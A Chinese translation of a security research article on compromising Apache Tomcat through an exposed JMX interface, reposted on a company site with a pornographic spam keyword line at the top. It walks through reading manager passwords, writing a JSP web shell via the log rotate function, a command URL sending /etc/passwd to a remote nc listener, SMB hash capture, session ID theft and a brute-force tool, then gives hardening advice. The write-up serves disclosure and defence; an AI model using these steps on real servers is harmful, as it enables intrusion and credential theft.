日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
通過JMX訪問破壞ApacheTomcat

一、前言

創(chuàng)新互聯(lián)建站是一家集網(wǎng)站建設(shè),耿馬企業(yè)網(wǎng)站建設(shè),耿馬品牌網(wǎng)站建設(shè),網(wǎng)站定制,耿馬網(wǎng)站建設(shè)報價,網(wǎng)絡(luò)營銷,網(wǎng)絡(luò)優(yōu)化,耿馬網(wǎng)站推廣為一體的創(chuàng)新建站企業(yè),幫助傳統(tǒng)企業(yè)提升企業(yè)形象加強企業(yè)競爭力??沙浞譂M足這一群體相比中小企業(yè)更為豐富、高端、多元的互聯(lián)網(wǎng)需求。同時我們時刻保持專業(yè)、時尚、前沿,時刻以成就客戶成長自我,堅持不斷學習、思考、沉淀、凈化自己,讓我們?yōu)楦嗟钠髽I(yè)打造出實用型網(wǎng)站。

本文主要關(guān)注Tomcat服務(wù)器的一些配置問題,可以將Java管理擴展(JMX)服務(wù)暴露到外部網(wǎng)絡(luò)中,來用于遠程監(jiān)視和管理的目的。

通過使用Java開發(fā)工具包(JDK)中的JConsole工具,這些功能可能被攻擊者濫用來獲得系統(tǒng)的控制權(quán)限。

本文的編寫是為了來強調(diào)這種之前不為作者所知的新的攻擊方式,它與Tomcat服務(wù)器暴露的JMX接口有關(guān)。

希望在這里提供了足夠的信息,以利于提出阻止這種利用的有效的緩解措施并且?guī)椭鷿B透測試團隊評估使用這種配置的Tomcat服務(wù)器的狀態(tài)。

本文討論的這個問題已經(jīng)提交給Tomcat團隊,被分類為程序的已知功能,并且目前沒有任何補丁提供。

總而言之,Tomcat指出:

  • Java JMX訪問相當于admin/root訪問,其處理方式與對具有admin / root權(quán)限的機器的物理訪問相同。
  • 其他敏感的信息,比如session IDs,可通過JMX訪問,并且隱藏這些信息將嚴重降低JMX接口的實用性。
  • Tomcat文檔通常不涵蓋JMX的主題,但是在其他地方會涵蓋它。

任何讀者在閱讀本文后都應(yīng)該遵循第九節(jié)中的建議。

二、Tomcat的JMX服務(wù)

Apache Tomcat的JMX服務(wù)通常被用來通過網(wǎng)絡(luò)監(jiān)控和管理遠程Tomcat

實例,通過Java遠程方法調(diào)用(RMI)來與服務(wù)器交互。

這個服務(wù)默認不開啟,與之相反的是其他常見的Java企業(yè)版的服務(wù)器(比如JBoss)是默認配置開啟的。

為了開啟Tomcat的JMX服務(wù),需要在setenv.sh/setenv.bat做一些簡單的修改,這個腳本是用來設(shè)置環(huán)境變量和Catalina進程啟動時的一些屬性。

JMX服務(wù)可以配置為支持認證,但是它默認不開啟。當認證被開啟(總是被推薦),它的授權(quán)模型允許訪問屬于只讀或讀寫角色的兩個不同的用戶。

網(wǎng)絡(luò)上關(guān)于JMX接口的配置信息很少且過時了。

例如,在下面的URL對應(yīng)的網(wǎng)頁的標題為“監(jiān)視和管理Tomcat”,但是它的配置指導(dǎo)是基于java 6版本的:

http://tomcat.apache.org/tomcat-8.0-doc/monitoring.html#Enabling_JMX_Remote

這個指南的第一段開始有一段注釋:

“注釋:這個配置只在你需要遠程監(jiān)控Tomcat時才開啟,如果只是本地監(jiān)視則不需要開啟,且需要使用啟動Tomcat相同的用戶?!?/p>

這個快速指南包括認證未開啟的簡單配置。然后它建議需要認證時,修改配置來啟用上述的兩個角色且分配密碼。

指南中有意思的一個片段如下:

如果你需要認證,添加并修改這個:

 
 
 
 
  1. -Dcom.sun.management.jmxremote.authenticate=true
  2. -Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password
  3. -Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access

編輯$CATALINA_BASE/conf/jmxremote.access文件:

 
 
 
 
  1. monitorRole readonly
  2. controlRole readwrite

編輯$CATALINA_BASE/conf/jmxremote.password文件:

 
 
 
 
  1. monitorRole tomcat
  2. controlRole tomcat

提示:密碼文件應(yīng)該是只讀的,只能用和運行Tomcat相同的操作系統(tǒng)用戶來訪問。

如上所見,jmxremote.access文件包含兩個用戶名(monitorRole和controlRole)和他們相關(guān)的角色。在jmxremote.password文件中設(shè)置這些用戶的密碼。

對此服務(wù)始終建議啟用認證,但快速指南不強調(diào)此功能。

這個指南不強調(diào)為只讀和讀寫用戶設(shè)置強密碼的重要性。這就是為什么在現(xiàn)場滲透測試期間,這個接口經(jīng)常被發(fā)現(xiàn)沒有配置認證或者使用了與指南建議類似的弱密碼。

三、決定是否啟用Tomcat的JMX接口

通常需要使用nmap進行掃描,來確認與Tomcat關(guān)聯(lián)的JMX接口是否已啟動并在遠程服務(wù)器上運行。

在這種情況下強烈建議使用--version-all和-A標志,因為它會告訴nmap觸發(fā)附加探測器來檢測非標準端口上JMX接口的存在。

例如,假設(shè)使用以下命令行掃描Tomcat服務(wù)器:

 
 
 
 
  1. >nmap -p- -sV -A 192.168.11.128 -n
  2. Nmap scan report for 192.168.11.128
  3. Host is up (0.00028s latency).
  4. Not shown: 65521 closed ports
  5. PORT STATE SERVICE VERSION
  6. ...
  7. 2001/tcp open dc?
  8. ...
  9. 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
  10. |_ajp-methods: Failed to get a valid response for the OPTION request
  11. 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
  12. |_http-favicon: Apache Tomcat
  13. |_http-open-proxy: Proxy might be redirecting requests
  14. |_http-server-header: Apache-Coyote/1.1
  15. |_http-title: Apache Tomcat/8.0.39
  16. ...
  17. 49222/tcp open unknown

為了簡單起見,上面的掃描結(jié)果僅包括與Tomcat相關(guān)的端口??梢钥吹剑丝?001/tcp和端口49222/tcp未明確標識。

然而,添加--version-all標志將顯示更多有趣的信息:

 
 
 
 
  1. >nmap -p- -A -sV --version-all 192.168.11.128
  2. Nmap scan report for 192.168.11.128
  3. Host is up (0.00032s latency).
  4. Not shown: 65521 closed ports
  5. PORT STATE SERVICE VERSION
  6. ...
  7. 2001/tcp open java-rmi Java RMI Registry
  8. | rmi-dumpregistry:
  9. | jmxrmi
  10. | implements javax.management.remote.rmi.RMIServer,
  11. | extends
  12. | java.lang.reflect.Proxy
  13. | fields
  14. | Ljava/lang/reflect/InvocationHandler; h
  15. | java.rmi.server.RemoteObjectInvocationHandler
  16. | @192.168.11.128:2001
  17. | extends
  18. |_ java.rmi.server.RemoteObject
  19. ...
  20. 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
  21. |_ajp-methods: Failed to get a valid response for the OPTION request
  22. 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
  23. |_http-favicon: Apache Tomcat
  24. |_http-open-proxy: Proxy might be redirecting requests
  25. |_http-server-header: Apache-Coyote/1.1
  26. |_http-title: Apache Tomcat/8.0.39
  27. ...
  28. 49222/tcp open rmiregistry Java RMI

在這種情況下,JMX服務(wù)被配置為在非標準端口2001/tcp而不是端口1099/tcp上運行,1099/tcp通常被這種服務(wù)的優(yōu)先選擇。

此外,應(yīng)當注意的是當JMX接口運行時,運行Java RMI的隨機端口也可用于Tomcat。從客戶端/攻擊者角度來看,能夠連接此端口也很重要。

也就是說,單獨使用nmap無法確定Tomcat JMX接口是否啟用認證。

四、使用JConsole連接JMX服務(wù)

如果你使用Windows,JConsole是JDK中的一個小的可執(zhí)行文件,存儲在bin文件夾中。啟動后主界面如下圖:

圖1 – Jconsole主界面

JConsole也在Linux版的JDK中提供,且在Kali中找到如下圖:

圖2 – Kali中的JConsole

如果逆向遠程連接到Tomcat JMX接口,選擇Remote Process選項且輸入目標的IP地址加端口號。點擊Connect按鈕:

圖3 – 設(shè)置目標

JConsole能夠檢測到SSL是否開啟,并且顯示如下提示:

圖4 – 目標中的SSL沒有開啟

單擊Insecure connection按鈕繼續(xù)。當啟用認證,通常會顯示以下提示:

圖5 – 認證啟動的提示

在這種情況下,您應(yīng)該使用username和password文本框輸入一些有效的憑據(jù)。請注意,也可能由于其他原因獲得連接失敗錯誤。

連接失敗的常見原因之一是由于攻擊者和服務(wù)器之間的防火墻。此防火墻可能配置為阻止傳入流量到由Tomcat啟動的其他Java RMI進程使用的端口(例如,上面nmap掃描輸出中列出的49222/tcp)。

使用您喜歡的網(wǎng)絡(luò)嗅探器進行流量捕獲,以了解“連接失敗”錯誤是否與認證相關(guān)。

在下面的示例中,Tomcat JMX服務(wù)器(運行于192.168.11.128)正在返回包含認證失敗錯誤的RMI消息:

圖6 – 認證失敗-暗示需要認證憑據(jù)

請注意,上面的錯誤包括需要憑據(jù)的字符串,表示在JConsole初始屏幕中未指定任何憑據(jù)。

在輸入一些憑據(jù)時返回不同的錯誤消息:

圖7 – 不可靠的用戶名和密碼

如果未啟用認證(這在某些內(nèi)部網(wǎng)絡(luò)滲透測試中可能是正確的),顯示如下:

圖8 – Jconsole連接到遠程的Tomcat JMX接口

事情開始變的有趣。

從這一點開始,我們將考慮攻擊者能夠識別一個監(jiān)聽的Tomcat JMX接口并可以使用JConsole連接到它的情況。這是可能的,因為認證未啟用,或者因為攻擊者能夠猜到一些有效的憑據(jù)。

五、使用JMX讀取Tomcat管理器的密碼

假設(shè)Tomcat啟用了管理器應(yīng)用程序,但是沒有使用任何弱憑據(jù)(如admin/admin或tomcat/manager)。假設(shè)攻擊者試圖使用自動腳本來強制一個有效的密碼而不成功。

在這里,可能得出沒有方法發(fā)現(xiàn)管理器密碼的結(jié)論。

事實上,有一個簡單的方法,在忽略密碼強度的情況下恢復(fù)密碼,在寫文章的這一刻,這個技術(shù)還沒有參考。

這個方法是在你的機器上面啟動JConsole并且指向遠程的Tomcat JMX服務(wù)器。選擇MBeans選項卡:

圖9 – 選擇MBeans

之后顯示如下:

圖10 – Mbeans

展開Users目錄,且選擇下面的節(jié)點:

1Users->User->”manager”->UserDatabase->Attributes

你應(yīng)該能夠看見類似下面的一些東西,這些暗示了憑據(jù):

圖11 – 泄漏的Tomcat管理器的用戶名和密碼

在這里,你能使用發(fā)現(xiàn)的憑據(jù)來連接到遠程Tomcat管理器,以控制服務(wù)器。

六、日志循環(huán)函數(shù)中的目錄遍歷

如果你已經(jīng)看到了這里,你已經(jīng)有了一個好且簡單的方法來訪問Tomcat管理器,來破環(huán)底層服務(wù)器。

執(zhí)行此操作的典型方法是部署簡單的Web應(yīng)用程序存檔(WAR),包括允許執(zhí)行操作系統(tǒng)(OS)命令的代碼,然后調(diào)查服務(wù)器上的內(nèi)容。

如果服務(wù)器在Windows上運行,則大多數(shù)時間它將作為SYSTEM或管理員運行。因此,你的操作系統(tǒng)命令將在最高權(quán)限級別運行。

但是,如果由于某些原因Tomcat管理器不在那里怎么辦?

雖然在內(nèi)部網(wǎng)絡(luò)中部署的服務(wù)器則不可能是這種情況,但是仍然有可能,因此我們需要另一種方法來瀏覽服務(wù)器,假設(shè)我們?nèi)匀荒軌蜻B接Tomcat JMX接口。

日志循環(huán)函數(shù)

在大量的具有寫權(quán)限的Tomcat JMX MBeans操作中,有一個顯示了有趣的行為。當JMX服務(wù)沒有配置支持認證時,這個特別的功能也能訪問。下面是它的Java特征:

 
 
 
 
  1. boolean rotate(string newFileName)

上面的特征在下面的節(jié)點提供:

 
 
 
 
  1. Catalina->Valve->localhost->AccessLogValve->Operations

這表明rotate函數(shù)用于備份Tomcat訪問日志到服務(wù)器上的文件中。

為了證明這個,下載了運行Tomcat8.0.39的Bitnami Linux VM。然后配置服務(wù)器來公開JMX端口,以便允許使用JConsole進行連接。最后totate函數(shù)用此位置指定文件:

 
 
 
 
  1. /tmp/test.log

完成這個過程后,下面的確認消息由服務(wù)器返回:

圖12 – ‘True’確認消息被執(zhí)行

可以確認test.log文件在tmp目錄中。直到rotate函數(shù)被調(diào)用,目錄的內(nèi)容是Tomcat訪問日志。

 
 
 
 
  1. bitnami@ubuntu:/tmp$ cat /tmp/test.log
  2. 192.168.11.1 - - [08/Dec/2016:14:50:42 +0000] "GET /test-log-request HTTP/1.1" 404 1026
  3. bitnami@ubuntu:/tmp$

在服務(wù)器上面執(zhí)行OS命令

正如上一節(jié)討論的,rotate函數(shù)允許在服務(wù)器的任意目錄中存儲文件。它還將允許選擇該文件的任意擴展。

這意味著,作為一個攻擊者,我們?yōu)E用它來在Tomcat提供網(wǎng)絡(luò)服務(wù)的目錄中創(chuàng)建一個Java Servlet Page(JSP)文件。在這里我們的目標創(chuàng)建包含JSP指令的文件來在服務(wù)器上面執(zhí)行命令。

為了實現(xiàn)這個,我們首先需要的是使用在URL中包含有效的JSP代碼的請求來破環(huán)Tomcat訪問日志。

例如,使用Burp Suite Repeater來發(fā)送下面的請求。注意在這個例子中,我們測試的Tomcat運行在80/tcp端口:

圖13 – 發(fā)送的請求

現(xiàn)在我們需要的是找到一個可靠的路徑來存放我們的使用rotate函數(shù)的JSP文件。關(guān)于這個我們能利用JConsole界面中的一些信息。

VM的Summary選項卡能提供一些關(guān)于catalina.base屬性的信息。這個選項卡包含一個節(jié)(在窗口底部),顯示了Java VM的參數(shù)。

例子顯示如下:

圖14 – catalina.base文件夾

Catalina.base目錄應(yīng)該返回一個webapps文件夾,其中是Tomcat提供的各種網(wǎng)絡(luò)服務(wù)。

部署在服務(wù)器上的網(wǎng)絡(luò)應(yīng)用可以在MBeans選項卡中看到。

下面的截圖是Tomcat服務(wù)器默認的應(yīng)用的例子:

圖15 – Tomcat上默認的應(yīng)用

將cataline.base目錄的信息和Tomcat上的應(yīng)用列表放在一起,找到存儲我們JSP文件的目錄還是可能的。

例如,一個test.jsp文件存儲在/docs文件夾中:

 
 
 
 
  1. /opt/bitnami/apache-tomcat/webapps/docs/test.jsp

在這里,上面的路徑可以和rotate函數(shù)一起使用:

圖16 – test.jsp文件被創(chuàng)建

我們能打開瀏覽器并運行一個命令。在下面的截圖中一個命令被執(zhí)行,用來把/etc/passwd的內(nèi)容粘帖到nc客戶端中,繼而連接一個遠程監(jiān)聽器:

圖17 – 遠程服務(wù)器上面的數(shù)據(jù)

作為參考,執(zhí)行命令的URL顯示如下:

 
 
 
 
  1. http://192.168.11.141/docs/test.jsp?cmd=sh%20-c%20$@|sh%20.%20echo%20/bin/cat%20/etc/passwd%20|%20nc%20192.168.11.136%208080

這包括一些調(diào)整,允許使用管道將輸出從一個命令重定向到另一個命令。

如果需要,目前為止的web shell也可以用來執(zhí)行wget命令,并從遠程機器上面下載一個更多功能的JSP shell。

捕獲SMB challenge-responses hashes

正如已經(jīng)討論的,如果你的Tomcat服務(wù)器在Windows上面運行,意味著通過JSP shell執(zhí)行的命令和通過rotate函數(shù)創(chuàng)建的命令將以最高權(quán)限運行。

然而,有時可能出現(xiàn)不正確的情況,且服務(wù)器運行在域賬戶。如果那種情況,捕獲SMB challenge-responses和破解他們是可能的。Rotate函數(shù)也在這里使用。

為了測試攻擊場景,Kali虛擬機可以用來啟動Metasploit SMB capture auxiliary module。

使用JConsole執(zhí)行JMX連接,并且使用下面的參數(shù)使用rotate函數(shù):

 
 
 
 
  1. \\192.168.11.136\test

在這種情況,上面的IP地址是Kali虛擬機。下面的截圖確認了Tomcat向遠程IP發(fā)送了一個請求,能夠3次捕獲SMB challenge:

圖18 – 捕獲的SMB challenge response

通過創(chuàng)建其他文件類型來進行client-side攻擊

注意,rotate函數(shù)也能用來創(chuàng)建敏感文件(如HTML文件),并且在網(wǎng)絡(luò)應(yīng)用中存儲他們,以便執(zhí)行跨站腳本攻擊。

這個涉及到,重復(fù)上述步驟,使用可靠的HTML代碼污染日志文件,然后在Tomcat網(wǎng)絡(luò)應(yīng)用程序目錄中存儲一個HTML文件。

圖19 – html文件

七、抓取網(wǎng)絡(luò)應(yīng)用的用戶的session ID

另外的Tomcat JMX操作能被攻擊者利用來劫持Tomcat網(wǎng)絡(luò)應(yīng)用的用戶的會話,lisrSessionIds()在下面的節(jié)點顯示:

1Catalina->Manager->[ApplicationName]->Operations->listSessionIds()

這個操作通??捎糜赥omcat上部署的每個網(wǎng)絡(luò)應(yīng)用中,且如名稱所示,能返回連接應(yīng)用的用戶的所有的JSESSIONID。

例如,下面的截圖顯示了連接管理器應(yīng)用的用戶的session ID:

通過Tomcat JMX服務(wù)可用的操作之一將允許檢索JSESSIONID cookie值,因此可能允許攻擊者通過劫持他們的會話來假冒另一個用戶。

注意,由于需要該帳戶的有效用戶名和密碼,因此無法利用此問題訪問管理器應(yīng)用程序。然而,部署在服務(wù)器上的其他應(yīng)用程序(例如支持基于JSESSIONID cookie的認證的應(yīng)用程序)會受到影響。

能夠運行l(wèi)istSessionIds()數(shù)的攻擊者將能夠劫持另一個用戶的會話。

注意,listSessionIds()是另一個操作,它只對具有寫入權(quán)限的JMX用戶可用。

如果JMX服務(wù)器配置為允許未經(jīng)認證的訪問,那么它仍然可以使用。

八、暴力破解進入Tomcat JMX

當Tomcat JMX服務(wù)配置為啟用認證并且使用強密碼時,仍有可能獲得未經(jīng)授權(quán)的訪問。

實際上,為此服務(wù)實現(xiàn)的認證過程在登錄失敗后不會鎖定帳戶,因此容易受到暴力密碼破解攻擊。

PoC工具(jmxbf)已經(jīng)由作者開發(fā)來演示這個。

使用例子如下:

 
 
 
 
  1. $>Usage: 
  2. java -jar jmxbf.jar
  3. -h,--host  The JMX server IP address.
  4.  -p,--port  The JMX server listening port.
  5.  -pf,--passwords-file  File including the passwords, one per line.
  6.  -uf,--usernames-file  File including the usernames, one per line.

Example:

 
 
 
 
  1. $>java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt

一些例子輸出如下:

 
 
 
 
  1. $>java –jar jmxbf.jar –h 192.168.20.1 –p 1099 –uf usernames.txt –pf passwords.txt
  2. Auth failed!!!
  3. Auth failed!!!
  4. Auth failed!!!
  5. . . .
  6. Auth failed!!!
  7. Auth failed!!!
  8. ###SUCCESS### - We got a valid connection for: control:supersecretpwd
  9. Found some valid credentials - continuing brute force
  10. ....
  11. ###SUCCESS### - We got a valid connection for: monitor:monitor
  12. Found some valid credentials - continuing brute force
  13. Auth failed!!!
  14. Auth failed!!!
  15. Auth failed!!!
  16. Auth failed!!!
  17. . . .
  18. Auth failed!!!
  19. Auth failed!!!
  20. Auth failed!!!
  21. The following valid credentials were found:
  22. control:supersecretpwd
  23. monitor:monitor

這個工具通過github可以下載到:https://github.com/nccgroup/jmxbf 。

九、其他問題?

正如已經(jīng)提到的,MBeans操作的大列表和屬性能提供給連接Tomcat JMX服務(wù)的用戶使用??赡苓€有其他函數(shù),可以使用與上面討論的rotate函數(shù)問題所示的類似的方式。

深入研究才能確定。

如果由于強大的認證措施讓你無法訪問Tomcat JMX控制臺,則仍然有潛在的方法來破壞服務(wù)器。

Tomcat最近修補了兩個與Java反序列化相關(guān)的漏洞,如果暴露了JMX服務(wù)器,可以利用這些漏洞:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-8735

本文不討論這些漏洞的細節(jié),但是卻可以說如果你的Tomcat運行在老版本的Java系統(tǒng)中,是可能通過發(fā)送特定的包到JMX服務(wù)器來實現(xiàn)RCE。

進一步研究后再發(fā)布新文。

十、建議

有很多可以實現(xiàn)的建議,來保護有本文討論的問題的Tomcat服務(wù)器。

首先,建議對JMX服務(wù)的訪問使用防火墻。只有列入白名單的IP地址才能連接。

然而,應(yīng)該始終啟用強密碼的認證。下面是在Windows使用setenv.bat啟動認證的例子:

 
 
 
 
  1. SET JAVA_HOME={replace with full path to Java JDK}
  2. SET JRE_HOME=%JAVA_HOME%
  3. SET JAVA_OPTS=%JAVA_OPTS% -Xms256m -Xmx512m -XX:MaxPermSize=256m -server
  4. SET CATALINA_OPTS=-Dcom.sun.management.jmxremote 
  5. -Dcom.sun.management.jmxremote.port=1099 
  6. -Dcom.sun.management.jmxremote.rmi.port=1099 
  7. -Dcom.sun.management.jmxremote.ssl=true 
  8. -Dcom.sun.management.jmxremote.local.only=false 
  9. -Djava.rmi.server.hostname={replace with Tomcat server IP address}
  10. SET CATALINA_OPTS=%CATALINA_OPTS% 
  11. -Dcom.sun.management.jmxremote.authenticate=true 
  12. -Dcom.sun.management.jmxremote.password.file=%CATALINA_BASE%/conf/jmxremote.password 
  13. -Dcom.sun.management.jmxremote.access.file=%CATALINA_BASE%/conf/jmxremote.access

下面是Linux下面使用setenv.sh的例子:

 
 
 
 
  1. JAVA_HOME={replace with full path to Java JDK}
  2. JRE_HOME=$JAVA_HOME
  3. JAVA_OPTS="-Djava.awt.headless=true -XX:+UseG1GC -Dfile.encoding=UTF-8 $JAVA_OPTS "
  4. JAVA_OPTS="-XX:MaxPermSize=256M -Xms256M -Xmx512M $JAVA_OPTS " 
  5. CATALINA_OPTS="-Dcom.sun.management.jmxremote 
  6. -Dcom.sun.management.jmxremote.port=1099 
  7. -Dcom.sun.management.jmxremote.rmi.port=1099 
  8. -Dcom.sun.management.jmxremote.ssl=true 
  9. -Dcom.sun.management.jmxremote.local.only=false 
  10. -Djava.rmi.server.hostname={replace with Tomcat server IP address} 
  11. -Dcom.sun.management.jmxremote.authenticate=true 
  12. -Dcom.sun.management.jmxremote.password.file=../conf/jmxremote.password 
  13. -Dcom.sun.management.jmxremote.access.file=../conf/jmxremote.access" 
  14. export JAVA_HOME
  15. export JRE_HOME
  16. export JAVA_OPTS
  17. export CATALINA_OPTS

SSL也應(yīng)該開啟,以保護認證過程中憑據(jù)嗅探攻擊。

注意,在上述所有的配置中,jmxremote.ssl變量設(shè)為true。

然而,沒有包括正確啟用SSL其他的一些變量。需要的其他配置步驟在這里不再詳述。

下面的URL包含了這個任務(wù)的參考信息:

https://db.apache.org/derby/docs/10.10/adminguide/radminjmxenablepwdssl.html

https://www.ibm.com/support/knowledgecenter/SSYMRC_6.0.1/com.ibm.jazz.repository.web.admin.doc/topics/t_server_mon_tomcat_option3.html

強烈推薦為只讀和讀寫用戶在jmxremote.password文件中設(shè)置高強度密碼保護。這些應(yīng)該與Tomcat管理器不同。

并且,考慮為所有用戶選擇不常用的用戶名。

另外,只有Tomcat用戶才被允許讀取jmxremote.password文件。如果檢測到這個文件的讀權(quán)限太寬松,Tomcat將不會啟動。

下面的命令能被用來在Windows上面設(shè)置這些權(quán)限:

 
 
 
 
  1. cacls jmxremote.password /P [username]:R

盡管JMX訪問等同于admin/root訪問,如果一個人能夠以只讀用戶身份訪問JMX服務(wù),那么仍然可能看到Tomcat管理器用戶名和密碼。

的確,只讀用戶將不被允許運行任何JMX操作,但他們?nèi)匀荒軌蛟L問一個敏感的信息,在大多數(shù)情況下,將導(dǎo)致Tomcat服務(wù)器的破環(huán)。

關(guān)于rotate函數(shù)的問題,作者認為應(yīng)該嚴格的控制,以避免Tomcat JMX服務(wù)器在服務(wù)器上可用的任何文件夾上創(chuàng)建具有任何擴展名的日志文件。

通過這個函數(shù)創(chuàng)建的日志文件只能在Tomcat日志文件夾中創(chuàng)建,并且無法使用URL訪問。

最后,考慮在系統(tǒng)上存儲一個哈希版本的Tomcat管理器密碼(因為這個哈希將在JMX屬性中可見)而不是純文本版本。

注意,這是我們從Tomcat收到的一個建議,同時討論了JMX只讀用戶能夠讀取管理器的密碼的問題。然而,這種情況下如果用戶名還是明文,攻擊者可以使用離線密碼破解工具破解密碼。

下面的URL包含了存儲哈希版本密碼的一些參考:

https://tomcat.apache.org/tomcat-8.0-doc/realm-howto.html#Digested_Passwords

Encrypting passwords in Tomcat

Quick tip: Tomcat user realm digested passwords

下面是digest工具的使用例子:

 
 
 
 
  1. digest.bat -s 0 -i 1 themanagersecretpassword

將輸出明文和加密的憑據(jù):

 
 
 
 
  1. themanagersecretpassword:42052cec2459a6b4c383f2c43698d0528fe3f39756f8524763fc9e2997e77ebf1f1ba9bc0926b7395e32bb796e4ec0c1045e96c15c1edb510c2e295a5c11b095

注意,在上面的例子中,-s和-i參數(shù)分別用于設(shè)置salt的長度和迭代次數(shù)。

Digest工具還接受-a參數(shù),來指定哈希算法。

根據(jù)Tomcat的推薦,當不使用-a參數(shù),則默認使用SHA-512。

另外,應(yīng)該注意不帶-s和-i參數(shù)使用digest,將返回{salt}${iterations}${digest}格式的輸出,例子如下:

 
 
 
 
  1. >digest.bat themanagersecretpassword
  2. themanagersecretpassword:92cd45d5db0f5794c794bf4fb0cc975347978d53673ec3c946a28c199c209995$1$a27648ca5671b33692ebb95a80720903dfd50b13da649b1d703ffc0260b2194ddec21616528bf4f6a99fb6b8fa724c6c518c2c45125b135b82c2ec16b060cb2f

上述的例子,關(guān)于salt的長度(字節(jié))和迭代次數(shù),使用默認值。


網(wǎng)站欄目:通過JMX訪問破壞ApacheTomcat
網(wǎng)站網(wǎng)址:http://www.5511xx.com/article/ccepjih.html